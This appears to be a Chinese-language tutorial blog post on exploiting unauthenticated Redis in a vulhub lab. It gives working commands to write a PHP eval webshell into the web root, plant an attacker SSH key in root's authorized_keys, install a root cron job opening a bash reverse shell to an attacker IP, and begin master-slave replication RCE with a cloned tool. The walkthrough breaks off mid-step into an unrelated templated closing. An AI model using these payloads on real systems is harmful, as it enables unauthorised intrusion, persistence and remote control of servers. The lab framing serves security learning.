当前位置:网站首页 > R语言数据分析 > 正文

连接redis不需要用户名么为什么(连接redis不需要用户名么为什么不能用)



Redis未授权访问

Redis未授权访问

 环境:vulhub-master/redis/4-unacc

 启动:

docker-compose up -d

未授权访问

namp探测端口,发现开启了redis服务

namp -sV -Pn -p- 靶机IP

redis客户端连接(这里没有设置密码,可以直接连接)

# 连接靶机的Redis服务器:

redis-cli -h [hostname] -p [port] -a [password]

[hostname]:Redis服务器地址。

[port]:Redis服务端口号,默认为6379。

[password]:Redis服务器密码,这里为空

# nc也可以连接

nc your-ip port

  成功连接上redis!

进一步利用

 主要有四种利用方式:

写入webshell

写ssh公钥

写定时任务

redis主从复制

写入webshell

 先决条件:

知道网站根目录绝对路径,不然找不到webshell

对目标网站有写入的权限,否则无法写入webshell

 存在的问题:

网站的绝对路径难找,大多没有写入权限

redis一般配合java网站需要写入jsp木马

redis所在的服务器可能根本没有web服务

 利用:

​ 1.namp扫描端口

nmap -sV -Pn -T4 -p1-10000 靶机ip

  这里看见开放了8080端口

​ 2.目录扫描发现网站绝对路径

​ 3.连接靶机redis服务

redis-cli -h 靶机ip -p 6379

​ 4.写入webshell

 # 设置redis库文件写入到/var/www/html目录,该目录是httpd服务的默认路径

config set dir /var/www/html

# 设置写入的文件名,这里需要写入一个php的一句话木马,故而使用php后缀

config set dbfilename shell.php

# 写入webshell

set x "<?php @eval($_POST['cmd']);?>"

# 保存

save

​ 5.访问shell.php并执行命令

​    成功显示phpinfo,webshell写入成功!

写ssh公钥

原理

  攻击机生成一对公私钥,通过redis未授权漏洞将公钥写入靶机的/root/.ssh中,再通过ssh的私钥远程控制靶机

 存在的问题:

ssh配置文件不允许root用户登录

ssh不一定允许互联网连接

redis所在的服务器可能根本没有ssh

 利用:

  1.攻击机生成SSH公钥和私钥保存到 /root/.ssh/ 目录

ssh-keygen -q -t rsa -f /root/.ssh/id_rsa -N ''

id_rsa.pub为公钥(传到靶机),id_rsa为私钥(攻击机保留)

  2.进入/root/.ssh/目录,在 id_rsa.pub 公钥内容前后加入换行符 " ",保存到 /tmp/foo.txt 文件

(echo -e " "; cat ~/.ssh/id_rsa.pub; echo -e " ") > /tmp/foo.txt

  3.将 /tmp/foo.txt 文件的内容(公钥),保存在redis中(这个时候只保存在了内存中)

# 键eval对应的值为生成的公钥内容

cat /tmp/foo.txt | redis-cli -h 靶机ip -p 6379 -x set eval

# 连接redis

redis-cli -h 靶机ip -p 6379

# 看看成功写入了没

get m

  4.设置redis的路径为/root/.ssh/,保存文件名为authorized_keys,这一步是为了将公钥保存在文件中。

# 设置路径

config set dir /root/.ssh/

# 文件名必须是authorized_keys

config set dbfilename "authorized_keys"

save

  5.最后ssh远程连接靶机即可(私钥登录)

ssh 靶机ip -p 端口 -i ~/.ssh/id_rsa

写定时任务

 原理?

  连接服务端的redis,写入反弹shell的计划任务

 利用:

用户定时任务位置:

操作系统 定时任务位置 

Debian ubuntu /var/spool/cron/crontabs/用户名 

centos redhat /var/spool/cron/用户名 

# 连接靶机redis

redis-cli -h 靶机ip -p 6379

# 设置路径(这个目录具体根据操作系统来定)

config set dir /var/spool/cron

# 覆盖root定时任务,便于以root身份执行计划任务

config set dbfilename root

# 写入反弹shell(每分钟由root用户执行一次)

set xxx " */1 * * * * /bin/bash -i >& /dev/tcp/攻击机ip/6666 0>&1 "

save

攻击机监听6666端口,等反弹shell

nc -lnvp 6666

主从复制RCE

windows只能用主从复制打

 原理?

# 主从复制

 Redis 支持主从复制,用于数据的高可用和备份。配置为“从库”的 Redis 实例会从“主库”同步数据,复制的过程是通过主库将数据同步给从库完成的。

# 漏洞原理

 攻击者通过伪装成一个 Redis 主库,诱导目标 Redis 实例充当从库角色,使目标实例连接并同步攻击者的伪造主库数据。在同步数据的过程

中,攻击者可以注入包含恶意命令的数据,当目标 Redis 解析并执行这些数据时,便会触发代码执行漏洞。

 利用:

​ 1.通过脚本利用

# 下载脚本

git clone https://github.com/0671/RabR.git

# 进入文件夹

到此这篇连接redis不需要用户名么为什么(连接redis不需要用户名么为什么不能用)的文章就介绍到这了,更多相关内容请继续浏览下面的相关推荐文章,希望大家都能在编程的领域有一番成就!

版权声明


相关文章:

  • spring教程电子书(spring教程 csdn)2025-07-14 18:09:05
  • rpm命令和yum命令具有哪些作用(rpm命令用法)2025-07-14 18:09:05
  • yarn top命令(yarn 运行命令)2025-07-14 18:09:05
  • yarn命令(yarn命令找不到)2025-07-14 18:09:05
  • Resnet101运行硬件要求(resnet101参数量)2025-07-14 18:09:05
  • deepsort复现(deeplabv3+复现)2025-07-14 18:09:05
  • spark面试题(spark面试题shuffle)2025-07-14 18:09:05
  • prgrm怎么读(prigrammer怎么读)2025-07-14 18:09:05
  • aurora什么档次(aurora是)2025-07-14 18:09:05
  • docker版本控制(docker-ce版本)2025-07-14 18:09:05
  • 全屏图片